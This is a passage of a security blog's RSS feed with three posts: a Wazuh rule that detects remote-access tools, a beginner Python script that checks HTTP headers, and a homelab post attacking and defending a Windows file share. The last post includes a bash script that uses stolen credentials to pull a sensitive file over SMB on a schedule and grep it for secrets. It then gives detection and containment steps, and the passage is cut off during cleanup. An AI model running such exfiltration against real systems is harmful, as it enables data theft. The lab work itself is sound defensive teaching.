CORP\\\\Administrator\\\&quot;\&quot;},\&quot;eventdata\&quot;:{\&quot;ruleName\&quot;:\&quot;technique_id=T1204,technique_name=User Execution\&quot;,\&quot;utcTime\&quot;:\&quot;2026-06-29 01:54:52.130\&quot;,\&quot;processGuid\&quot;:\&quot;{23c4e474-d06c-6a41-d304-000000001800}\&quot;,\&quot;processId\&quot;:\&quot;6896\&quot;,\&quot;image\&quot;:\&quot;C:\\\\\\\\Program Files\\\\\\\\TeamViewer\\\\\\\\TeamViewer.exe\&quot;,\&quot;fileVersion\&quot;:\&quot;15.79.4.0\&quot;,\&quot;description\&quot;:\&quot;TeamViewer\&quot;,\&quot;product\&quot;:\&quot;TeamViewer Full\&quot;,\&quot;company\&quot;:\&quot;TeamViewer Germany GmbH\&quot;,\&quot;originalFileName\&quot;:\&quot;TeamViewer.exe\&quot;,\&quot;commandLine\&quot;:\&quot;\\\\\\\&quot;C:\\\\\\\\Program Files\\\\\\\\TeamViewer\\\\\\\\TeamViewer.exe\\\\\\\&quot;\&quot;,\&quot;currentDirectory\&quot;:\&quot;C:\\\\\\\\Program Files\\\\\\\\TeamViewer\\\\\\\\\&quot;,\&quot;user\&quot;:\&quot;CORP\\\\\\\\Administrator\&quot;,\&quot;logonGuid\&quot;:\&quot;{23c4e474-67b2-6a41-5969-0f0000000000}\&quot;,\&quot;logonId\&quot;:\&quot;0xf6959\&quot;,\&quot;terminalSessionId\&quot;:\&quot;1\&quot;,\&quot;integrityLevel\&quot;:\&quot;High\&quot;,\&quot;hashes\&quot;:\&quot;SHA1=37A1B530F9864B12AA0BEBB03D4D30ECB6812A11,MD5=2329E3CCA3EDF9C9B6FD4E0F5E6AF67F,SHA256=452ACDC46E96548EA84555CB2960160AB88C8F8B02AF5F00519CABE0DB6C6B3C,IMPHASH=8953F0CB4AE46C6FE315B39F8529708B\&quot;,\&quot;parentProcessGuid\&quot;:\&quot;{23c4e474-67b8-6a41-9d00-000000001800}\&quot;,\&quot;parentProcessId\&quot;:\&quot;6388\&quot;,\&quot;parentImage\&quot;:\&quot;C:\\\\\\\\Windows\\\\\\\\explorer.exe\&quot;,\&quot;parentCommandLine\&quot;:\&quot;\\\\\\\&quot;C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\\\\\\\&quot; /NoUACCheck\&quot;,\&quot;parentUser\&quot;:\&quot;CORP\\\\\\\\Administrator\&quot;}}}&quot;,<br>    &quot;timestamp&quot;: &quot;2026-06-28T20:54:53.765-0500&quot;<br>  },<br>  &quot;fields&quot;: {<br>    &quot;timestamp&quot;: [<br>      &quot;2026-06-29T01:54:53.765Z&quot;<br>    ]<br>  },<br>  &quot;highlight&quot;: {<br>    &quot;rule.id&quot;: [<br>      &quot;@opensearch-dashboards-highlighted-field@100211@/opensearch-dashboards-highlighted-field@&quot;<br>    ],<br>    &quot;manager.name&quot;: [<br>      &quot;@opensearch-dashboards-highlighted-field@siem01@/opensearch-dashboards-highlighted-field@&quot;<br>    ]<br>  },<br>  &quot;sort&quot;: [<br>    1782698093765<br>  ]<br>}</pre><p>Next step: launch AnyDesk twice and ensure the multiplicity rule does not fire, because it should only do so when 2 different tools are launched:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8l95R4cCD39Ey30RoW3kOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*0YS2vehxHXeLYrhJpHxl-g.png" /></figure><p>Let’s revisit and break down the logic for the multiplicity rule:</p><pre>&lt;rule id=&quot;100211&quot; level=&quot;12&quot; frequency=&quot;2&quot; timeframe=&quot;600&quot;&gt;<br>    &lt;if_matched_sid&gt;100210&lt;/if_matched_sid&gt;<br>    &lt;same_field&gt;win.system.computer&lt;/same_field&gt;<br>    &lt;different_field&gt;win.eventdata.company&lt;/different_field&gt;<br>    &lt;description&gt;RMM MULTIPLICITY: 2+ distinct remote-access tool vendors on $(win.system.computer)&lt;/description&gt;<br>    &lt;mitre&gt;&lt;id&gt;T1219&lt;/id&gt;&lt;/mitre&gt;<br>    &lt;group&gt;rmm_detected,rmm_multiplicity,&lt;/group&gt;<br>  &lt;/rule&gt;</pre><p>How it works, step by step:</p><p>1. It waits for rule 100210 to match. Rule 100210 already does the hard work: it watches for Sysmon EID 1 (Process Create) events and fires whenever it sees a known RMM tool (AnyDesk, TeamViewer, etc.) based on the Company field in the executable.</p><p>2. It counts how many times 100210 fires under specific conditions: frequency=”2&quot; timeframe=”600&quot;: it needs at least 2 matches of 100210 within 10 minutes (600 seconds).</p><p>3. It applies two filters to those matches:&lt;same_field&gt;win.system.computer&lt;/same_field&gt; → Both RMM processes must be on the same computer (e.g. both on DC01.corp.local).<br>&lt;different_field&gt;win.eventdata.company&lt;/different_field&gt; → The Company values must be different (e.g. one says “AnyDesk Software GmbH” and the other says “TeamViewer”).</p><p><strong>In short:</strong> 100210 says <em>“I saw an RMM”</em>. 100211 says <em>“I saw two different RMMs from different companies on the same box, quickly.”</em></p><p>Right now this proves correlation, but not causation. The next objective is to not only detect that 2 RMM’s are running, but that RMM A <em>launched </em>RMM B. We need to establish a link from one parent process to the other. The foundation is in place, the real work comes next.</p><p><a href="https://github.com/purplepyram1d/rmm-multiplicity">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2411904f6ff0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty 101.1 — Building a Basic Recon Logger in Python]]></title>
            <link>https://medium.com/@johnnymeintel/bug-bounty-101-1-building-a-basic-recon-logger-in-python-7aa6f3ce2d2b?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7aa6f3ce2d2b</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 17:31:06 GMT</pubDate>
            <atom:updated>2026-04-24T01:05:52.175Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I26c9OS0DSkHJIREZVq_2A.png" /><figcaption>source: Gemini</figcaption></figure><p>You can’t vibe code a hacking tool and not know how it works. Sure, it’s easy to do. So is jumping out of an airplane. There’s a right way and a wrong way to go about it.</p><h3>HTTP Request Methods</h3><p>Right now, your web browser is sending a “request” to <a href="https://medium.com/">https://medium.com</a> — and the website is returning data. We’re going to go about doing this programmatically. Think of it like using a secret menu item at a fast food restaurant. The website you are viewing within your browser is the menu, and our program is able to send secret menu item requests, either earning an appreciative nod of familiarity from the trained cashier or a confused facial expression in the form of an error message; either way we’re building a collection of data.</p><p>Just as human interactions have a method of formality, interactions between a web browser (or client) and website (or server) also have their own formalities.</p><p>Cashier: <em>“Hi, how are you?”</em></p><p>You: <em>“Fine, thanks, I’ll have a…”</em></p><p>In the same way, every request from client to server has a method, a formal way of telling the server what we want.</p><ul><li><strong>GET </strong>— “fetch”, just like you would say to a dog when you want it to bring you something. This is the request your browser sends when you go to https://medium.com</li><li><strong>POST </strong>— send something, this is the request used when entering your username and password into a login field and hitting Enter.</li><li><strong>PUT </strong>— replace something completely, even if you just change one thing. You wanted your burger without onions, and so the cashier brings you a completely new burger instead of just removing the onions. When you update your email address in your profile information of a website, a PUT requests sends everything else along with it, your Name, Location, Avatar, etc.</li><li><strong>DELETE </strong>— remove something, plain and simple.</li><li><strong>PATCH </strong>— unlike a PUT request, a PATCH request surgically alters one specific component.</li><li><strong>OPTIONS </strong>— asking the server outright what methods are allowed, like asking the cashier directly what specific menu items and additions are available.</li></ul><h3>HTTP Status Codes</h3><p>We’ve all seen them, 404 and 403 being the most common. The status codes are always there but you wouldn’t know it from within your web browser unless something goes wrong. The cashier nods to each request, creating an order that goes to the cooks and food preparers. Either you get your order or are told “sorry, the ice cream machine is not working.” If one of the food workers is all out of bags at their station, they don’t tell you, that’s a status code they provide to a team member who fetches more bags from the inventory area and brings it to them.</p><p>With a recon logger like we’re building, we’re able to stand in the kitchen and see what the cooks and food workers are communicating to one another. First, let’s break down what some of the most common status codes are and what they mean in a bug bounty context.</p><p><strong>2xx — Success</strong></p><ul><li><strong>200 OK</strong> — this is the response provided when a web page successfully loads, or in other words, the server believes it has provided you with what you asked for. Green light.</li><li><strong>201 Created </strong>— something changed on the server side as a result of the request, this is a common response to a POST request. This could be very telling, such as showing up and saying “I’m here to pick up a DoorDash order for Jeremy” and the cashier nods and starts bagging the order, but you’re not Jeremy. Maybe they intend to check before actually handing you the order, but the process has begun. I think the real Jeremy and the cashier’s manager would prefer they verify the customer first.</li></ul><p><strong>3xx — Redirects</strong></p><ul><li><strong>301 Moved Permanently</strong> — the resource has moved, and the browser is redirected to the new location automatically. Maybe you bookmarked <a href="https://medium.com/FAQs">https://medium.com/FAQs</a> many moons ago, and the new location is <a href="https://medium.com/help/FAQs.">https://medium.com/help/FAQs</a> — the server throws a 301 and your browser takes you to the new URL.</li><li><strong>302 Found</strong> — temporary redirect, commonly used after POSTing login information and being redirected to your account dashboard. The server did not deny you, it just took you somewhere else. Sometimes, redirection is a subverted denial. It could be a way of telling you, without telling you, that you’re not meant to access the resource you requested.</li></ul><p><strong>4xx — Client Errors</strong></p><ul><li><strong>400 Bad Request</strong> — the server does not even understand the request. You went to a Mexican restaurant, tried to practice your Spanish, and failed.</li><li><strong>401 Unauthorized</strong> — you are trying to access a resource which requires authentication and have not identified yourself. Think the VIP room, a reserved table, etc.</li><li><strong>403 Forbidden</strong> — you have identified yourself and were denied access. This is more like trying to enter the Employees Only area without a badge or not being on the VIP list for the room you wanted to go into.</li><li><strong>404 Not Found</strong> — the resource does not exist. The restaurant is not closed, but they don’t have what you asked for, the food worker told you this directly.</li><li><strong>429 Too Many Requests</strong> — in bug bounty work this means you got hit by “rate limiting”. The server will deny future requests because you have sent too many. This could be useful information down the line.</li></ul><p><strong>5xx — Server Errors</strong></p><ul><li><strong>500 Internal Server Error</strong> — something broke on the server side. Not your fault, or was it? Either the input was unexpected and caused unexpected behavior by your intention or perhaps that resource is in need of maintenance. You ordered 15 large fries and the cook dumped all of them in the fryer at once. No time to play the blame game.</li><li><strong>502 Bad Gateway</strong> — the server tried to process your request but something failed down the line. This reveals infrastructure layers. You told the cashier what they wanted and they yelled your order to the assistant manager who did not respond to them. Now you know who calls the shots.</li><li><strong>503 Service Unavailable</strong> — a resource is overloaded or is currently under maintenance. If you have ever worked in the food service industry this analogy is the most obvious.</li></ul><h3>HTTP Headers</h3><p>This is where it starts to get more technical. Now we’re dealing with metadata, which is the data behind what your browser is showing you when a request is processed. Aphone or computer does the same thing. You make a text file, the data is text contained within the file. The metadata is when it was created, your location at time of creation, and possibly much more data dependent on the context. HTTP headers are the metadata within the request itself, not the webpage you’re looking at but how it was built and how the data is meant to be processed.</p><p><strong>Security Headers</strong></p><p><em>What should be present</em> — these contain instructions from the server to the browser, and without them the browser is left to its own default settings. We are looking for what’s missing.</p><ul><li><strong>X-Frame-Options</strong> — a late 90s alternative rock band, or maybe a clothing brand suitable for bodybuilders. JK. YouTube videos can be embedded, so can Google Forms among other things. If a webpage does not wish to ever become embedded, it would state as much by using this header. Common values are <strong>DENY </strong>or <strong>SAMEORIGIN</strong>. In other words, don’t allow data to be embedded, or only allow embedded resources from the server itself. This is needed to avoid <a href="https://owasp.org/www-community/attacks/Clickjacking"><em>clickjacking</em></a>.</li><li><strong>X-Content-Type-Options</strong> — certain webpages are meant to handle certain types of data, or content types. This header allows a website to enforce which content types are allowed. The way a file is formatted, or <em>media type</em>, is commonly known as a <strong>MIME</strong>, or <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types">Multipurpose Internet Mail Extension</a> (the name harkens back to a time when due to much slower data transmission speeds multimedia was typically transmitted via email and not within web browsers). <a href="https://aszx87410.github.io/beyond-xss/en/ch5/mime-sniffing/"><em>MIME Sniffing</em></a><em> </em>is a class of vulnerability which has the browser “sniff” or determine the data type because the Content-Type was not provided. A simple nosniff added tells the browser to avoid this and trust the content type as it is labeled.</li><li><strong>Strict-Transport-Security</strong> — you’ve heard of HTTP and HTTPS, but another “H” acronym we need to know as bug bounty hunters is <strong>HSTS</strong> or <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Strict-Transport-Security">HTTP Strict Transport Security</a>. Some websites may load via HTTP and/or HTTPS, but some should only load through HTTPS or the secure protocol. HSTS will force HTTPS-only, typically enforced via time constraint of 1 year with max-age=31536000. Subdomains are included with the addition of includeSubDomains. Without this enforcement, an attacker could intercept the initial HTTP connection before the redirect to HTTPS happens. This is called <a href="https://blog.cloudflare.com/performing-preventing-ssl-stripping-a-plain-english-primer/"><em>SSL Stripping</em></a>.</li></ul><p><strong>Informational Headers</strong></p><p><em>What shouldn’t be present </em>— these headers contain information the server reveals about itself. Not inherently insecure, but could provide useful data if compounded with data from other resources. We are looking at things that are here that should not be.</p><ul><li><strong>Server</strong> — describes the software the server is running. The more descriptive, the higher the likelihood that the data can be used to uncover additional details about the server, such as whether or not a known exploit exists for that particular version.</li><li><strong>X-Powered-By</strong> — identifies the application framework. A legacy framework such as PHP is a dead giveaway, providing valuable intel to an attacker who can then identify key vulnerabilities to take advantage of.</li><li><strong>Access-Control-Allow-Origin + Access-Control-Allow-Credentials together, the CORS pair </strong>— ACAO is best explained by mentioning that it is often paired with a wildcard, or *, representing anything and anyone. ACAO is a response which tells the browser who or what can access a resource. ACAC is the response which determines whether or not the browser includes credentials in cross-origin requests. The “cross origin” phrasing is where it gets tricky. Neither of these responses are telling on their own, but combined equate to a bouncer requiring a name at the door, but not verifying you are who you say you are. Victim logs in to <a href="https://bank.com/">https://bank.com</a> and then later clicks a link in a phishing email which takes them to a website under the attacker’s control. Without the victim knowing, the malicious website sends a request to <a href="https://bank.com/">https://bank.com</a>, providing the victim’s session information. The server says anyone is allowed, as long as they provide credentials, which the victim’s browser has done automatically, using the existing authentication session.</li></ul><h3>Building the Recon Logger</h3><p>We now have a basic understanding of HTTP methods, requests, and headers. In other words, we know what to look for, now we need to learn how to look for it. This requires some Level 1 Python knowledge.</p><h4>Importing the requests module</h4><p>One of the best things about Python is being able to import modules. Instead of writing everything from scratch, many tasks can be outsourced to certain tools. You can create your own, use Python’s built-in modules, or download others. We’ll be using the requests module, which simply put, allows us to make HTTP requests programmatically without depending on a web browser interface.</p><p>First let’s head to the command line and ensure it’s installed:</p><pre># PowerShell/Command Prompt/Terminal in Administrator Mode<br>pip install requests</pre><p>Then we pull up our respective coding environment (I use <a href="https://code.visualstudio.com/">Visual Studio Code</a>) and type our first line.</p><pre>import requests</pre><p>This tells Python to load the requests module that we just installed, which will allow us to use various commands to build our recon logger.</p><h4>The get_headers function</h4><p>requests is loaded, let’s put it to good use by constructing a function that sends a <strong>GET</strong> request. A function is a block of code that can be reused by simply writing the code once and then calling the function by name as needed instead of rewriting the code every time. As we all know, trying to access a website, which sends a <strong>GET</strong> request, doesn’t always work. Sometimes the page does not load at all or sometimes it provides one of the status codes we talked about earlier. For this reason we will include a “try/except block” which is Python-speak for having a backup plan.</p><pre>def get_headers(url):</pre><p>Here we have defined our function, the name get_headers was chosen by us as the name we will use when we want to call the function, and (url) is the input data the function should expect to work with, known as an <em>argument</em>, which in this case is the website name.</p><pre>try:<br>  r = requests.get(url, timeout=5)<br>  return dict(r.headers)</pre><p>We begin the try/except block and then declare a variable named r which holds all the data on the other side of the equal sign. requests.get is our first usage of the requests module, we provide the URL of the website with the url variable given with the function as well as a timeout of 5 seconds so it doesn’t run forever if the website does not respond.</p><p>return is an important statement with every function, we provided the input data of the website URL and are now specifying what data to return from the request we just made by creating a dictionary. As bug bounty hunters we ought to be familiar with Python dictionaries, or key-value pairs of data. As discussed earlier, HTTP headers are just that, a key or description of the data, and the value of that data. This creation of a dictionary from the <strong>GET</strong> request allows us to organize the information accordingly for viewing and searching.</p><p>The r value currently holds a lot of data, so we are using the r.headers specification as our way of telling the requests module to specifically provide the HTTP headers for our dictionary.</p><pre>except requests.RequestException as e:<br>  print(f&quot;[ERROR] {e}&quot;)<br>  return {}</pre><p>The follow-up to the try statement is this except statement which uses the requests module’s RequestException stored as an easy to type variable named e. If the request exception is raised, or in other words, if our try statement doesn’t work, it will run the following print statement. The print statement uses a <em>f-string </em>by putting the letter “f” before the quotations, allowing us to type the variable within curly braces and have it displayed to the user. Since the rest of our script expects a dictionary to work with, we return an empty one so the code keeps running cleanly even when the request fails.</p><pre>required = [&quot;X-Frame-Options&quot;, &quot;X-Content-Type-Options&quot;, &quot;Strict-Transport-Security&quot;]<br>outdated = [&quot;PHP/5&quot;, &quot;Apache/2.2&quot;, &quot;Apache/2.4.1&quot;, &quot;nginx/1.0&quot;, &quot;IIS/6&quot;, &quot;IIS/7&quot;]</pre><p>Here’s where our HTTP header knowledge comes in to place. We have the 3 required HTTP headers which, if missing, indicate potential vulnerabilities. We also have some outdated web technologies which, if present, could also indicate a potential path of exploitation. The variables each contain a Python list, or a structured and ordered collection of data. Lists in Python can be modified, data can be removed, or in our case, added to, as we discover additional security requirements or vulnerable technologies in our research.</p><pre>url = input(&quot;Target URL: &quot;)<br>headers = get_headers(url)</pre><p>Prompt the user for the URL to extract headers from, store it in an aptly name url variable, and then call our get_headers function, passing url as an argument. The data returned by the function is then stored in a variable named headers.</p><pre>for header in required:<br>    if header not in headers:<br>        print(f&quot;[MISSING] {header}&quot;)</pre><p>Our first for loop. A loop is computer science jargon for “do this every time ____________” or “do this for as long as ____________”. Python makes the syntax pretty easy, since we are looping over a list of collection of data, Python does this one piece of data at a time in order. We create a temporary variable named header which represents this instance of the loop, or in our case, the current header being worked with from our list of headers in required. On an indented new line we demand that if the current header in the list is not in our list of headers, we print a statement to the user alerting them along with the current header.</p><pre>for key, value in headers.items():<br>    for sig in outdated:<br>        if sig.lower() in value.lower():<br>            print(f&quot;[OUTDATED] {key}: {value}&quot;)</pre><p>Our next for loop involves an extra step, the if statement. “If this happens, run this code.” Since headers is a dictionary being returned by our get_headers function, we need to declare both the key and value in the initial for statement in order for us to access both the setting and what the website has it set to, essentially. We do this one at a time within our for loop by using Python’s built in .items() after naming the dictionary we want to work with.</p><p>Next we start another for loop, this is called nesting. Now that we are working with our dictionary, what do we want to do with it? We create a variable, sig, which represents every signature we added to our list in outdated, and for every item in this list, we channel it through the following if statement. By using .lower(), Python’s built in way of turning a string of text to all-lowercase, we can avoid potential naming convention issues between PHP and PhP, otherwise, Python prefers to be very specific, or case-sensitive. If the outdated signature currently being run in the inner for loop is in the value of the header currently being run by the outer for loop, we print a statement alerting the user along with the outdated signature we caught.</p><pre>acao = headers.get(&quot;Access-Control-Allow-Origin&quot;, &quot;&quot;)<br>acac = headers.get(&quot;Access-Control-Allow-Credentials&quot;, &quot;&quot;)</pre><p>Now for the CORS check. Remember, we’re looking for both ACAO and ACAC together. We access our headers dictionary 2 more times, using .get and providing our query along with a default value of an empty string. More on that below. We use elif after our first if statement which stands for “else if”, or “if the above does not happen, run this next”.</p><pre>if acao == &quot;*&quot; and acac.lower() == &quot;true&quot;:<br>    print(f&quot;[CORS] Wildcard origin + credentials: potential misconfiguration&quot;)<br>elif acao == &quot;*&quot;:<br>    print(f&quot;[CORS] Wildcard origin - note for context&quot;)</pre><p>More if statements. Here we use 2 equal signs as a comparative operator, instead of using a single equal sign to create a variable and tell it what the value should contain. We then use * as a <em>wildcard</em>, which means anything and anyone, or in the case of ACAO, the setting which allows any website to make cross-origin requests. We bundle that by using and along with the lower-case version of our ACAC value. Remember the empty string in our previous code block? If we didn’t provide the default value of an empty string, and no ACAC setting was returned, the value would come back as None, which is not a string, it’s more like Python smirking its’ face at you. Rule of thumb, if a default value <em>can</em> be used, it’s safer to add one and will prevent errors down the line.</p><pre>print(&quot;\n[RAW HEADERS]&quot;)<br>for k, v in headers.items():<br>    print(f&quot;  {k}: {v}&quot;)</pre><p>We then add a print statement, beginning with \n to form a new line, and alert the user that the full list of headers is about to be displayed. Since we already used the variable names key and value earlier, we’re going to loop through our headers dictionary one item at a time by declaring k and v as our key and value variables for each loop. Every time the loop runs, it prints the key, or the website’s setting, and the value, or what it is set to.</p><h3>Running the recon logger on a test target</h3><p>Enter <a href="https://httpbin.org/">https://httpbin.org</a> — a website that serves as an intentionally transparent web resource against which anyone can run HTTP requests. It’s a very uncool thing to send GET requests without a good reason, sort of like snooping around buildings without a purpose. Thankfully, websites like this exist so we can put our knowledge of HTTP headers into practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsfUoRA722bzyddds-Rdng.png" /><figcaption>recon logger in action</figcaption></figure><p>All 3 required HTTP headers are missing, and the website has the aforementioned ACAO+ACAC misconfiguration. What follows are the [RAW HEADERS] for our viewing pleasure. The script is working. We can see the Server is <em>gunicorn/19.9.0</em> — our next step as bounty hunters is to research potential vulnerabilities this particular version of gunicorn may be victim to.</p><h3>The full script (so far)</h3><pre>import requests<br><br>def get_headers(url):<br>    try:<br>        r = requests.get(url, timeout=5)<br>        return dict(r.headers)<br>    except requests.RequestException as e:<br>        print(f&quot;[ERROR] {e}&quot;)<br>        return {}<br><br>required = [&quot;X-Frame-Options&quot;, &quot;X-Content-Type-Options&quot;, &quot;Strict-Transport-Security&quot;]<br>outdated = [&quot;PHP/5&quot;, &quot;Apache/2.2&quot;, &quot;Apache/2.4.1&quot;, &quot;nginx/1.0&quot;, &quot;IIS/6&quot;, &quot;IIS/7&quot;]<br><br>url = input(&quot;Target URL: &quot;)<br>headers = get_headers(url)<br><br>for header in required:<br>    if header not in headers:<br>        print(f&quot;[MISSING] {header}&quot;)<br><br>for key, value in headers.items():<br>    for sig in outdated:<br>        if sig.lower() in value.lower():<br>            print(f&quot;[OUTDATED] {key}: {value}&quot;)<br><br>acao = headers.get(&quot;Access-Control-Allow-Origin&quot;, &quot;&quot;)<br>acac = headers.get(&quot;Access-Control-Allow-Credentials&quot;, &quot;&quot;)<br><br>if acao == &quot;*&quot; and acac.lower() == &quot;true&quot;:<br>    print(f&quot;[CORS] Wildcard origin + credentials: potential misconfiguration&quot;)<br>elif acao == &quot;*&quot;:<br>    print(f&quot;[CORS] Wildcard origin - note for context&quot;)<br><br>print(&quot;\n[RAW HEADERS]&quot;)<br>for k, v in headers.items():<br>    print(f&quot;  {k}: {v}&quot;)</pre><h3>Next steps</h3><p>This is a very simple concept which I will build upon in future articles. Currently, the script targets a single URL at a time, but what if I want to get the headers from multiple websites or subdomains? The list of required headers and outdated signatures is also very thin, and as my own understanding of bug bounty work increases so will the lines of code in this logger.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7aa6f3ce2d2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking and Defending a Windows Network Share]]></title>
            <link>https://medium.com/@johnnymeintel/attacking-and-defending-a-windows-network-share-ff61b8d4cb7b?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff61b8d4cb7b</guid>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows-server-2022]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Sat, 10 Jan 2026 16:30:06 GMT</pubDate>
            <atom:updated>2026-01-10T16:30:06.238Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WspqYzJs6qw5hYhw5lMXxg.png" /><figcaption>johnnymeintel.com</figcaption></figure><p>I’ve got a <a href="https://medium.com/@johnnymeintel/creating-a-vulnerable-windows-network-share-fd43ec5bf8f4">vulnerable network share</a> on domain controller DC01. SMB signing is disabled, and DC01 has overprivileged service accounts with predictable passwords. Let’s see what happens if an attacker finds out.</p><h3>The Exfiltration</h3><pre>#!/bin/bash<br># ============================================<br># CONFIGURATION<br># ============================================<br>TARGET_IP=&quot;192.168.56.6&quot;<br>SHARE_NAME=&quot;Public&quot;<br>USERNAME=&quot;svc-generic&quot;<br>PASSWORD=&quot;GENService2024!&quot;<br>REMOTE_FILE=&quot;sensitive_data.txt&quot;<br>LOOT_DIR=&quot;/opt/exfil/loot&quot;<br>LOG_FILE=&quot;/opt/exfil/exfil.log&quot;<br>HIGH_VALUE_FILE=&quot;/opt/exfil/high-value.txt&quot;<br># ============================================<br><br>TIMESTAMP=$(date +&quot;%Y%m%d-%H%M%S&quot;)<br>LOCAL_FILE=&quot;$LOOT_DIR/stolen-$TIMESTAMP.txt&quot;<br><br>mkdir -p &quot;$LOOT_DIR&quot;<br><br>smbclient &quot;//$TARGET_IP/$SHARE_NAME&quot; -U &quot;$USERNAME%$PASSWORD&quot; -c &quot;get $REMOTE_FILE $LOCAL_FILE&quot; 2&gt;/dev/null<br><br>if [ -f &quot;$LOCAL_FILE&quot; ]; then<br>    echo &quot;[$TIMESTAMP] SUCCESS: Exfiltrated to $LOCAL_FILE&quot; &gt;&gt; &quot;$LOG_FILE&quot;<br>    grep -E &quot;CREDENTIALS|API_KEY|FINANCIAL&quot; &quot;$LOCAL_FILE&quot; &gt;&gt; &quot;$HIGH_VALUE_FILE&quot; 2&gt;/dev/null<br>else<br>    echo &quot;[$TIMESTAMP] FAILED: Could not exfiltrate&quot; &gt;&gt; &quot;$LOG_FILE&quot;<br>fi<br><br>find &quot;$LOOT_DIR&quot; -name &quot;stolen-*.txt&quot; -mtime +7 -delete</pre><p>The attacker found a text file stored on the Public shared network folder called “sensitive_data.txt”. DC01 runs a script that appends more data every 5 minutes. The script above will use <a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html"><strong>smbclient</strong></a><strong> </strong>along with stolen credentials and the known IP address of the domain controller to exfiltrate the file every 5 minutes as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*AIf_5c0QILGu3aZj43VIdg.png" /><figcaption>Stolen data.</figcaption></figure><h3>The Logs</h3><p>How would an administrator or security analyst discover this? We need to hunt for <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5145"><strong>Event 5145</strong></a> — A network share object was checked to see whether client can be granted desired access.</p><p>I cooked up a Splunk query that shows Kali specifically reaching for the sensitive_data.txt file along with the timestamps and IP address:</p><pre>index=* source=&quot;XmlWinEventLog:Security&quot; EventCode=5145 <br>IpAddress=&quot;192.168.56.36&quot;<br>RelativeTargetName=&quot;sensitive_data.txt&quot;<br>| table _time, SubjectUserName, IpAddress, RelativeTargetName, ShareName<br>| sort _time</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-z2yirf-W9_KEzSr6k1pRg.png" /></figure><p>A generic service account accessing sensitive_data.txt every 5 minutes on the dot is a huge red flag. How would this be contained and remediated?</p><h3>The Response</h3><p>Before we make any changes, let’s document the current configuration.</p><pre># Document current share permissions<br>Get-SmbShare -Name &quot;Public&quot; | Format-List<br>Get-SmbShareAccess -Name &quot;Public&quot; | Format-Table<br><br># Document NTFS permissions<br>Get-Acl &quot;C:\Shares\Public&quot; | Format-List<br><br># Document who&#39;s currently accessing the share<br>Get-SmbSession | Where-Object {$_.ShareName -like &quot;*Public*&quot;} | Format-Table<br><br># Document what&#39;s on the share<br>Get-ChildItem &quot;C:\Shares\Public&quot; -Recurse | Select-Object FullName, Length, LastWriteTime | Format-Table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61J6zEULtUReCkFeVmv4eQ.png" /><figcaption>Current configuration.</figcaption></figure><p>No SMB session is active, despite the data being exfiltrated regularly. This is expected, as smbclient sessions are ephemeral and the connection only exists as long as the data transfer is taking place. Fortunately, we have the attacker’s IP address and the name of the compromised service account.</p><pre># Disable svc-generic temporarily while investigating<br>Disable-ADAccount -Identity &quot;svc-generic&quot;<br><br># Verify it&#39;s disabled<br>Get-ADUser -Identity &quot;svc-generic&quot; | Select-Object Enabled, PasswordLastSet, LastLogonDate<br><br># Block KALI&#39;s IP address<br>New-NetFirewallRule -DisplayName &quot;Block Attacker IP - KALI&quot; -Direction Inbound -RemoteAddress &quot;192.168.56.36&quot; -Action Block -Enabled True<br><br># Verify rule exists<br>Get-NetFirewallRule -DisplayName &quot;Block Attacker IP - KALI&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FkYWKbxOzDh4s0X8HoFgKw.png" /><figcaption>KALI has been blocked.</figcaption></figure><p>Let’s find the scheduled task on DC01 that is generating the sensitive data.</p><pre># Check if task exists<br>Get-ScheduledTask -TaskName &quot;SystemDataSync&quot;<br><br># View what it does<br>(Get-ScheduledTask -TaskName &quot;SystemDataSync&quot;).Actions<br><br># Remove it<br>Unregister-ScheduledTask -TaskName &quot;SystemDataSync&quot; -Confirm:$false<br><br># Delete the malicious script<br>Remove-Item &quot;C:\Scripts\DC01-Generate-Sensitive-Data.ps1&quot; -Force -ErrorAction SilentlyContinue<br><br># Verify removal<br>Get-ScheduledTask | Where-Object {$_.TaskName -like &quot;*Sync*&quot; -or $_.TaskName -like &quot;*Data*&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*YrmEVJhyYUCrBYoW2QivlQ.png" /><figcaption>The task and script have been removed.</figcaption></figure><p>Let’s cleanup and remove the files that still exist.</p><pre># Delete the sensitive data file<br>Remove-Item &quot;C:\Shares\Public\sensitive_data.txt&quot; -Force<br><br># Remove any suspicious scripts<br>Remove-Item &quot;C:\Shares\Public\*.ps1&quot; -Force<br>Remove-Item &quot;C:\Shares\Public\harvested_creds.txt&quot; -Force<br>Remove-Item 